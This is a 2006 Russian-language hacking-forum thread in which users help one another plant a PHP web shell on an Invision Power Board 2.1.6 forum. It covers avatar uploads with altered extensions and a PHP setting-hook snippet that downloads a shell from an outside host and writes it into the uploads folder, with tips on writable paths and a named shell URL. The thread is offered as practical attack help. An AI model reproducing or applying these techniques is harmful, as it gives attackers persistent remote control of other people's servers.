Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   Ipb 2.1.6 проблема с шеллом (https://forum.antichat.xyz/showthread.php?t=27718)

=XSS= 22.11.2006 02:07

Ipb 2.1.6 проблема с шеллом
 
IPB 2.1.6
пытаюсь залить на форум шелл через аватары. добавляю расширение .phtml в админке и загружаю шелл как свой аватар.
загружается в папку uploads (пробовал и другие папки) но при обращению к залитому шеллу выходит сообщение

Internal Server Error
The server encountered an internal error or misconfiguration and was unable to complete your request.
Please contact the server administrator, webmaster@.net and inform them of the time the error occurred, and anything you might have done that may have caused the error.

More information about this error may be available in the server error log.


Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.


--------------------------------------------------------------------------------

Apache/1.3.36 Server


как такое пофиксить?

=XSS= 22.11.2006 03:37

в чем тут дело?

_Great_ 22.11.2006 08:30

читай error.log, если есть возможность. Там вся инфа об ошибке

MegaBits 22.11.2006 13:38

Попробуй залить вот этим способом у меня всегда получалось.

Идём в "настройки" выбираем любую из них, жмём добавить новую настройку, и в поле "Выполнение PHP-кода до отображения или сохранения настройки:" пишем любой php код, на пример такой:
PHP код:
$linky="http://site.ru/shell.txt";
$saved="/usr/home/www/site/public_html/forum/uploads/shell.php";
$from=fopen("$linky","r");
$to=fopen("$saved","w");
while(!feof($from)){
$string=fgets($from,4096);
fputs($to,$string);
}
fclose($to);
fclose($from);

Если не получится почитай статью "Заливаем шелл в Ipb 2.*.*(и больше не спрашиваем:))" автор VampiRUS

=XSS= 25.11.2006 08:27

ничего из этого не работает.
ввожу этот код - нет загрузки.

_Great_ 25.11.2006 09:01

Видно, не судьба, видно, не судьба (С)

А вообще нафиг расширение phtml.
Берешь файл shell.php и заливаешь его

=XSS= 25.11.2006 09:22

и еще надо писать что-то в полях
Название настройки:
и
Группа настройки:
?

или вообще ничего заполнять не надо?

=XSS= 25.11.2006 09:27

_Great_
ты имеешь ввиду через аватары? но тогда надо менять настройки для загружаемого файла .php
и менять MIME-тип файла у php на application/octet-stream

=XSS= 25.11.2006 09:41

сейчас такая ситуация:
когда пытаюсь обратиться к шеллу через браузер выходит сообщение

Parse error: syntax error, unexpected $end in /home/site/public_html/forum/uploads/shell.php on line 1078

c411k 25.11.2006 09:46

Цитата:

Сообщение от _Great_
Видно, не судьба, видно, не судьба (С)

А вообще нафиг расширение phtml.
Берешь файл shell.php и заливаешь его

а ты попробуй..
*.php ибп переименовывает в *.txt..

Цитата:

Сообщение от =XSS=
ничего из этого не работает.
ввожу этот код - нет загрузки.

$linky="http://site.ru/shell.txt";
$saved="/usr/home/www/site/public_html/forum/uploads/shell.php";

http://site.ru/shell.txt меняешь к примеру на http://grinayxakep.narod.ru/antichat.1.6.php
/usr/home/www/site/public_html/forum/uploads/shell.php меняешь на доступную для записи диру (там где авы доспупно практ. всегда) и все работает..


Время: 22:06